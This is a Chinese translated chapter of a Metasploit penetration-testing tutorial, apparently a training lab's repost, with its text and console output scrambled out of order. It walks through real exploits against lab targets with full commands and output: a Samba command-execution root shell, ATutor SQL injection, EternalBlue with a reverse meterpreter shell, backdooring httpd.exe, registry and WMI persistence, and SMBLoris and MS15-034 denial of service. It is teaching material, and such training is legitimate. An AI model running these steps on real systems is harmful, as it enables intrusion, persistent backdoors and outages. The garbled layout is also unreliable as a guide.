原创:合天网安实验室合天智汇
在前面,我们学习了
现在我们知道了目标 TIP:我们可以在通用漏洞披露(CVE)在线平台 通过 怎么做 1、选择攻击模块 2、运行 通过模块描述信息,可用看出,该模块利用 3、配置参数 通过 TIP:要显示模块的高级选项,你可以使用 这里只需要我们设置目标的 4、攻击 执行 攻击成功后,我们将获得与目标机器的连接会话。我们可用执行一些命令,来验证是否获得了目标机器的权限。 按 5、要操作会话,可用使用 6、要重新回到刚才的会话,可使用 要终止会话,可用按 我们没有指定 可以看到,使用的 我们可以通过 我们还可以通过 我们将安装一个易受攻击的开源 TIP:至于怎么安装 该模块利用了 1、使用 2、攻击之前,可以通过 根据密码复杂度不同,所需时长也不同。攻击成功后,获取了 在进行下一节内容的学习之前,我们先来讨论一些可用 shell的类型。 shell大体上分为两种,一种是 bind shell一种是 reverse shjell。 bindshell 又叫正向连接 shell。是指程序在目标机本地端口上监听,允许攻击者连接到监听端口。 bind shell非常适合本地漏洞,比如当你已经通过钓鱼攻击成功危害了目标计算机,并希望利用本地服务提权的时候。但是它不适合远程攻击场景。因为通常来说目标位于防火墙后面。 所以大部分时候,我们更多的使用 reverse shell,又称反向 shell作为我们的有效攻击载荷。反向 shell是在攻击者上监听端口,攻击程序在目标机上运行后主动连接到攻击者监听的端口。由于防火墙大多数时候只限制入站规则。因此反向shell更容易绕过防火墙。 Payloads Metasploit中由三种不同类型的 payload模块,分别是: singles、 stagers和 stages。 Singles:独立载荷,可直接植入目标系统并执行的程序,比如 shell_bind_tcp Stagers:传输器载荷,负责建立网络连接,与 stages载荷配合使用。这种载荷体积小且可靠 Stages:传输体载荷,在 stagers建立好稳定的连接之后,提供的高级功能。如 shell,meterpreter,dllinject,patchupdllinject,upexec,vncinject等。 metasploit中 meterpreter其实就是一个 payload。它需 stagers和 stages配合使用。 在上一节中的 SQL注入中,已经获得一个有效的漏洞利用。所以我们将使用它来测试不同类型的 payload 1、使用 show payloads命令显示可用的载荷。 2、查看载荷的详细信息,使用 infopayload>指令 3、 generic/shell_bind_tcp是一个独立载荷。要选择它作为有效载荷,我们使用 setpayloadpayload_name> 4、使用 generic/shell_bind_tcp载荷可用得到一个通用的 shell,但远远不够, PHPMeterprete是一个特性丰富且更高级的载荷,我们可以用它来利用此漏洞 利用之前收集的信息,我们将对 Windows服务器作为目标进行漏洞利用。本节我们将使用 Metasploitable3作为靶机。 通过收集的信息,查找漏洞,选择合适的漏洞里利用模块。 使用 services查看目标 Apache服务版本。 访问目标站点 通过浏览目标站点,我们可以尝试使用弱口令进行登录,比如 admin 居然登录进去了。 1、查看运行在 8484端口的 Jenkins-CI服务。 这里,并没有显示 Jenkins,浏览器访问看看 确实是一个 Jenkins服务 我们使用 search jenkins搜索可利用的模块 使用 Jenkins-CIScript-ConsoleJavaExecution模块 攻击 ManageEngineDesktopCentral9 在漏洞攻击时,有些服务跟目标上其他大部分服务都有关系,而大多数是情况下它们被忽视了。 在本节中,我们将利用目标环境中最常见和最容易被滥用的服务- Mysql。大多数情况下,我们可以利用 Mysql服务,因为它们是出于开发目的安装的。忽略了一些安全加固。比如设置 root密码或者设置强密码。 本节我们将使用 Metasploitable3作为靶机 要利用目标的 Mysql服务,我们先使用 MySQL枚举模块枚举目标,然后使用 OracleMySQLfortheMicrosoftWindowsPayload攻击模块获取远程主机的 shell。 TIP: mysql_paylod模块在新版的 Metasploit中被移除了。不过你可以从 https://www.exploit-db.com/download/16957下载这个模块,放到 Metasploit对应的模块目录中( /usr/share/metasploit-framework/modules/exploits/windows/mysql),修改代码的前面几行为如下内容就行。 枚举: 进行攻击: 如果目标 Mysql没有设置 root密码,因此可以使用 MySQL服务上传 shell并获得系统的远程访问权限。就像上面一样。所以,永远不要忘记对基础服务进行渗透测试。即便你认为不会有人傻到配置无密码的服务。 再次利用在信息收集和扫描阶段收集的信息,特别是 MS17-010SMB RCE检测辅助模块的输出信息,我们可以转向下一个易受攻击的服务。 MS17-010EthernalBlueSMBRemoteWindowsKernelPoolCorruption攻击模块是 EquationGroupETERNALBLUE的一部分。 EquationGroupETERNALBLUE是 FuzzBunchtoolkit的一部分。由 ShadowBrokrs从美国国家安全局(NSA)获取并公开。 ETERNALBLUE通常被认为是由 NSA开发。它利用 srv.sys在处理 SrvOs2FeaListSizeToNt的时候逻辑不正确导致越界拷贝从而造成缓冲区溢出,进而允许我们执行任意命令。它在被公开后被用在`WannaCry`勒索软件中进行攻击。此漏洞会影响所有运行 SMBv1服务且未更新 SMB安全补丁的 Windows计算机和 Windows服务器。 载入 ms17_010_eternalblue模块,设置目标 IP地址,设置 Payload,然后执行攻击 MS17-010EternalRomance/EternalSynergy/EternalChampionSMBRemoteWindowsCodeExecution攻击模块也可用于 MS17-0101漏洞利用。而且比 EnternalBlue更可靠,不过需要命名管道。 使用模块 ms17_010_psexec 获取 shell后,我们如果需要确保能持久性的访问目标系统,我们需要安装后门。 通过之前的漏洞利用,我们已经获得了与目标机的 session,我们将利用 meterpreter session来安装后门服务。这里以 httpd.exe为例。 接下来,我们将利用 windows注册表持久性模块安装随系统启动的后门。 最后我们将利用 WMI( Windows Management Instrumentation )创建一个无文件后门。 1、不能在程序运行的时候安装后门,所以先杀死进程 2、将需要替换成后门的程序下载下来 3、将会话退回到后台,使用 reverse_tcp攻击载荷,使用 generate生成后门文件。 关于 generate的参数说明,可以查看帮助信息 4、启动一个监听,监听后门的反向连接,并使用 expolit-j放到后台运行 5、切回之前的 meterpreter session,上传后门文件并重命名。 6、使用 shell命令进入目标系统的 shell,重启 wampapache服务。 你会发现,服务启动后,返回了新的会话 7、使用 Windows注册表持久化模块植入后门。我们利用永恒之蓝攻击获得的会话进行后门植入操作。 这里因为环境问题,并未植入成功。 8、如果成功,然后就可以设置监听,以便目标重启的时候获得反向 shell会话 9、当目标机器重启后,可以获得会话 10、利用 WMI事件订阅创建无文件后门 11、提示未成功,我们可以使用 migrate将 meterpreter shell进程进行进程迁移,就是将 meterpreter shell进程迁移到相对稳定应用的进程里。 然后再次攻击 注销目标机登录,然后重新登录, msfconsole这边就会接收到回连的会话 09拒绝服务攻击 拒绝服务攻击通常是通过向目标机请求大量的资源或利用漏洞,造成拒绝服务攻击,消耗目标机器性能,拒绝服务攻击会导致合法用户无法访问计算机服务或资源,甚至可能会导致服务或操作系统崩溃。 SMBloris是一个已经存在了 20 年的 WindowsSMB 漏洞,此漏洞可导致拒绝服务攻击( DoS ) , 使得大规模服务器瘫痪。影响所有版本的 SMB 协议以及所有 Windows2000 之后的系统版本。 1、在进行 SMBloris拒绝服务攻击之前,要先设置攻击机的最大连接数。 2、然后使用 smb_loris模块来攻击目标机机器 3、查看目标机器,我们可以看到由于攻击者发送了大量的 SMB请求消耗了目标机的大量内存。每一个 NBSS 连接可以申请分配 128KB 内存空间,在建立大量连接的情况下可以耗尽内存,达到拒绝服务的效果。 另一个可怕的 DoS攻击是 MS15-034HTTP协议栈请求处理拒绝服务。 如果 MicrosoftWindows7,Windows8,WindowsServer2008,orWindowsServer2012机器正在运行了存在 MS15-034漏洞的 IIS服务,那么可以利用这个漏洞导致目标服务器崩溃。 可以看到,目标死机蓝屏了。 相关实验推荐 Metasploit攻击winserver2008实例:metasploit攻击winserver2008的过程,通过本实验的学习,你能够了解拒绝服务攻击的原理及其危害,学会使用metasploit对win2008系统进行拒绝服务攻击。点击文末“阅读原文”,开始操作! 在本章中,我们将学习以下内容: 1、了解Meterpreter核心命令 2、了解Meterpreter文件系统命令 3、了解Meterpreter网络命令 4、了解Meterpreter系统命令 5、与目标建立多重通信信道 6、Meterpreter反取证 7、屏幕和键盘监听 8、使用 scraper Merterpreter脚本 9、使用 winenum 枚举系统信息 10、自动化脚本 11、Meterpreter资源脚本 12、Meterpreter超时控制 13、Meterpreter休眠控制 14、Meterpreter传输 15、注册表操作 16、加载框架插件 17、API和Mixins 18、Railgun——将Ruby转换为武器 19、向Railgun中添加DLL和函数定义 20、劫持远程VNC 21、开启远程桌面 原书:《Metasploit Penetration Testing Cookbook - Third Edition》 声明:本文由合天网安实验室编译,转载请注明来源。msf5 > services -c port,info -p 139,445 192.168.177.145
Services
========
host port info
---- ---- ----
192.168.177.145 139 Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.177.145 445 Samba smbd 3.X - 4.X workgroup: WORKGROUP
msf5 >
Samba
的版本信息,我们就可以去查找相对应的漏洞,然后使用 search
命令搜索可使用的攻击模块。https://www.cvedetails.com
中找到有关 Samba3.0.20
漏洞的细节。search
命令过滤 CVE
、 模块类型
、 关键字
即可找到可利用的攻击模块。msf5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) >
info
可查看模块信息Samba3.0.20
到 3.0.25rc
中的命令执行漏洞。我们来试试。show missing
命令,查看必须要配置的参数msf5 exploit(multi/samba/usermap_script) > show missing
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
msf5 exploit(multi/samba/usermap_script) >
show advanced
命令IP
地址即可,我们通过 set[options][value]
来设置msf5 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.177.145
RHOSTS => 192.168.177.145
msf5 exploit(multi/samba/usermap_script) >
exploit
即可。Ctrl+Z
可将会话转到后台uid=0(root) gid=0(root)
^Z //按 Ctrl+Z
Background session 1? [y/N] y
msf5 exploit(multi/samba/usermap_script) >
sessions
命令sessions-i[session_id]
命令,使用 sessions-l
可查看所有激活的会话列表。Ctrl+c
。 link/ether 00:0c:29:cc:9a:f4 brd ff:ff:ff:ff:ff:ff
^C //Ctrl+C
Abort session 1? [y/N] y //输入 y
""
[*] 192.168.177.145 - Command shell session 1 closed. Reason: User exit
msf5 exploit(multi/samba/usermap_script) >
它是如何工作的
Samba
是用于 Linux
和 Windows
之间的打印和文件共享的服务。 Samba3.0.0
至 3.0.25rc3
的 smbd
中的 MS-RPC
功能允许远程攻击者通过 SamrChangePassword
功能的 shell
元字符执行任意命令,当启用 smb.conf
中“用户名映射脚本”选项时(不是默认启用的),允许远程认证的用户通过远程打印机中的其他 MS-RPC
功能的外部元字符执行命令,以及文件共享管理。该漏洞攻击模块通过指定一个用户名包含 shell
元字符,攻击者可以执行任意命令。 因为此选项用于在身份验证之前映射用户名,所以不需要身份验证就可以利用此漏洞。有效攻击载荷?
payload
,所以 Metasploit
默认为我们指定了 payload
。我们可用 show options
查看msf5 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.177.145 yes The target address range or CIDR identifier
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.177.143 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(multi/samba/usermap_script) >
payload
是一个 unix
反向 shell
。show payloas
列出当前攻击模块所有可用的攻击载荷。sessions-u[sessions_id]
可以将 shell
会话升级成 meterpreter
会话,从而可以利用 meterpreter
的高级功能。关于 meterpreter
会在后续的章节中详细讲解。02SQL 注入
Metasploit
有几个 SQL
注入漏洞的利用模块,使我们能够测试和验证目标是否易受攻击。准备工作
LMS:Atutor2.2.1
进行测试,访问https://www.exploit-db.com/exploits/39514 ,点击 VULNERABLE APP
旁边的下载按钮开源下载 Atutor2.2.1
。ATutor
,可以查看官方文档。怎么做
ATutor2.2.1
的 SQL
注入漏洞和身份验证漏洞,这意味着我们可以绕过身份验证,访问管理接口,上传恶意代码。exploit/multi/http/atutor_sqli
模块,查看模块选项check
命令检测目标是否易受攻击。然后进行攻击shell
meterpreter > getuid
Server username: Administrator (0)
meterpreter > sysinfo
Computer : WIN-BGKRU85VR4H
OS : Windows NT WIN-BGKRU85VR4H 6.1 build 7600 (Windows 7 Business Edition) i586
Meterpreter : php/windows
meterpreter >
03shell类型
准备工作
怎么做
msf5 exploit(multi/http/atutor_sqli) > set payload generic/shell_bind_tcppayload => generic/shell_bind_tcpmsf5 exploit(multi/http/atutor_sqli) > exploit[*] 192.168.177.139:80 - Dumping the username and password hash...04攻击Windows 服务器
准备工作
msf5 > services -p 8020 192.168.177.144Services========host port proto name state info---- ---- ----- ---- ----- ----192.168.177.144 8020 tcp http open Apache httpdmsf5 >怎么做
msf5 > services 192.168.177.144 -p 8484Services========host port proto name state info---- ---- ----- ---- ----- ---- 192.168.177.144 8484 tcp http open Jetty winstone-2.8 05利用公用服务
准备工作
怎么做
06MS17-010 永恒之蓝 SMB远程代码执行Windows内核破坏
准备工作
怎么做
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.177.144RHOSTS => 192.168.177.144msf5 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcpPAYLOAD => windows/x64/meterpreter/reverse_tcpmsf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.177.143LHOST => 192.168.177.143msf5 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit[*] Started reverse TCP handler on 192.168.177.143:4444[*] 192.168.177.144:445 - Connecting to target for exploitation.[+] 192.168.177.144:445 - Connection established for exploitation.[+] 192.168.177.144:445 - Target OS selected valid for OS indicated by SMB reply[*] 192.168.177.144:445 - CORE raw buffer dump (51 bytes)[*] 192.168.177.144:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2[*] 192.168.177.144:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard[*] 192.168.177.144:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac[*] 192.168.177.144:445 - 0x00000030 6b 20 31 k 1[+] 192.168.177.144:445 - Target arch selected valid for arch indicated by DCE/RPC reply[*] 192.168.177.144:445 - Trying exploit with 12 Groom Allocations.[*] 192.168.177.144:445 - Sending all but last fragment of exploit packet[*] 192.168.177.144:445 - Starting non-paged pool grooming[+] 192.168.177.144:445 - Sending SMBv2 buffers[+] 192.168.177.144:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.[*] 192.168.177.144:445 - Sending final SMBv2 buffers.[*] 192.168.177.144:445 - Sending last fragment of exploit packet![*] 192.168.177.144:445 - Receiving response from exploit packet[+] 192.168.177.144:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)![*] 192.168.177.144:445 - Sending egg to corrupted connection.[*] 192.168.177.144:445 - Triggering free of corrupted buffer.[*] Meterpreter session 1 opened (192.168.177.143:4444 -> 192.168.177.144:49655) at 2019-04-26 17:40:54 +0800[+] 192.168.177.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[+] 192.168.177.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[+] 192.168.177.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=meterpreter >meterpreter > sysinfoComputer : METASPLOITABLE3OS : Windows 2008 R2 (Build 7601, Service Pack 1).Architecture : x64System Language : en_USDomain : WORKGROUPLogged On Users : 2Meterpreter : x64/windowsmeterpreter > getuidServer username: NT AUTHORITY\SYSTEMmeterpreter > 07MS17-010 EternalRomance/EternalSynergy/EternalChampion
怎么做
08安装后门
准备工作
怎么做
meterpreter > kill 3880Killing: 3880meterpreter >
meterpreter > download C:\\wamp\\bin\\apache\\apache2.2.21\\bin\\httpd.exe[*] Downloading: C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exe[*] Downloaded 21.00 KiB of 21.00 KiB (100.0%): C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exe[*] download : C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exemeterpreter >
msf5 exploit(windows/smb/ms17_010_psexec) > use payload/windows/x64/meterpreter/reverse_tcpmsf5 payload(windows/x64/meterpreter/reverse_tcp) > set LHOST 192.168.177.143LHOST => 192.168.177.143msf5 payload(windows/x64/meterpreter/reverse_tcp) > generate -p Windows -x /root/httpd.exe -k -f exe -o /root/httpd-backdoored.exe[*] Writing 29184 bytes to /root/httpd-backdoored.exe...msf5 payload(windows/x64/meterpreter/reverse_tcp) >
msf5 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set LHOST 192.168.177.143LHOST => 192.168.177.143msf5 exploit(multi/handler) > exploit -j[*] Exploit running as background job 0.[*] Exploit completed, but no session was created.[*] Started reverse TCP handler on 192.168.177.143:4444msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > sessions -i 3[*] Starting interaction with 3...meterpreter > cd C:\\wamp\\bin\\apache\\apache2.2.21\\bin\\meterpreter > mv httpd.exe httpd.exe.backupmeterpreter > upload /root/httpd-backdoored.exe[*] uploading : /root/httpd-backdoored.exe -> httpd-backdoored.exe[*] Uploaded 28.50 KiB of 28.50 KiB (100.0%): /root/httpd-backdoored.exe -> httpd-backdoored.exe[*] uploaded : /root/httpd-backdoored.exe -> httpd-backdoored.exemeterpreter > mv httpd-backdoored.exe httpd.exemeterpreter >
meterpreter > shellProcess 1976 created.Channel 3 created.Microsoft Windows [Version 6.1.7601]Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\wamp\bin\apache\apache2.2.21\bin>net stop wampapachenet stop wampapacheThe wampapache service is stopping.net staThe wampapache service was stopped successfully.C:\wamp\bin\apache\apache2.2.21\bin>net start wampapache[*] Sending stage (206403 bytes) to 192.168.177.144net start wampapacheThe wampapache service is starting.The wampapache service was started successfully.
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcpPAYLOAD => windows/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set LHOST 192.168.177.143LHOST => 192.168.177.143msf5 exploit(multi/handler) > set LPORT 9999LPORT => 9999msf5 exploit(multi/handler) > exploit -j[*] Exploit running as background job 1.[*] Exploit completed, but no session was created.[*] Started reverse TCP handler on 192.168.177.143:9999msf5 exploit(multi/handler) >
meterpreter > rebootRebooting...
meterpreter > background[*] Backgrounding session 1...msf5 exploit(windows/local/wmi_persistence) > exploit[*] Installing Persistence...[+] - Bytes remaining: 12560[+] - Bytes remaining: 4560[+] Payload successfully staged.[+] Persistence installed! Call a shell using "smbclient \\\\192.168.177.144\\C$ -U Administrator arbitrary password>"[*] Clean up Meterpreter RC file: /root/.msf4/logs/wmi_persistence/192.168.177.144_20190428.2114/192.168.177.144_20190428.2114.rcmsf5 exploit(windows/local/wmi_persistence) >
[*] Meterpreter session 2 opened (192.168.177.143:4433 -> 192.168.177.144:49437) at 2019-04-28 12:27:54 +0800msf5 exploit(multi/handler) > sessions -i 2[*] Starting interaction with 2...meterpreter > getuidServer username: NT AUTHORITY\SYSTEMmeterpreter > sysinfoComputer : METASPLOITABLE3OS : Windows 2008 R2 (Build 7601, Service Pack 1).Architecture : x64System Language : en_USDomain : WORKGROUPLogged On Users : 2Meterpreter : x86/windowsmeterpreter >准备工作
怎么做
root@osboxes:~# ulimit -n 65535root@osboxes:~# ulimit -n65535root@osboxes:~#
msf5 > use auxiliary/dos/http/ms15_034_ulonglongaddmsf5 auxiliary(dos/http/ms15_034_ulonglongadd) > set RHOSTS 192.168.177.144RHOSTS => 192.168.177.144msf5 auxiliary(dos/http/ms15_034_ulonglongadd) > exploit[*] DOS request sent[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completedmsf5 auxiliary(dos/http/ms15_034_ulonglongadd) >第四章 Meterpreter (预告)
说明
转载请注明来自网盾网络安全培训,本文标题:《Metasploit 快速入门(三)—— 服务端漏洞利用》
标签:合天智汇
- 关于我们